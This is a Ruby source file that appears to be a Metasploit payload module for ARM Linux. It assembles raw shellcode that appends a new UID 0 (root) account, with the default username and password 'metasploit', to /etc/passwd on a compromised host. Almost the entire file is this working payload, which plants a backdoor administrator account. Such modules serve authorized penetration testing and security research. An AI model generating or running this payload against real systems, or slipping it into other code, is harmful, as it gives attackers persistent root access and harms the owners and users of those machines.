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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# AddUser
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# -------
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#
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# Adds a UID 0 user to /etc/passwd.
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#
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###
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module MetasploitModule
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  CachedSize = 119
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Linux Add User',
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      'Description'   => 'Create a new user with UID 0',
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      'Author'        => [ 'Jonathan Salwan' ],
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'linux',
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      'Arch'          => ARCH_ARMLE,
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      'Privileged'    => true))
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    # Register adduser options
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    register_options(
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      [
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        OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
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        OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
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        OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
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      ])
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  end
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  #
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  # Dynamically builds the adduser payload based on the user's options.
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  #
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  def generate(opts={})
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    user    = datastore['USER']  || 'metasploit'
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    pass    = datastore['PASS']  || 'metasploit'
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    shell   = datastore['SHELL'] || '/bin/sh'
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    str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
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    strl1   = [ (str.length)+52 ].pack('C*')
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    strl2   = [ str.length ].pack('C*')
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    pwdir   = "/etc/passwd"
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    payload =
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      "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
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      "\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
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      "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
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      "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
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      strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
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      "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
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      str + pwdir
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  end
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end
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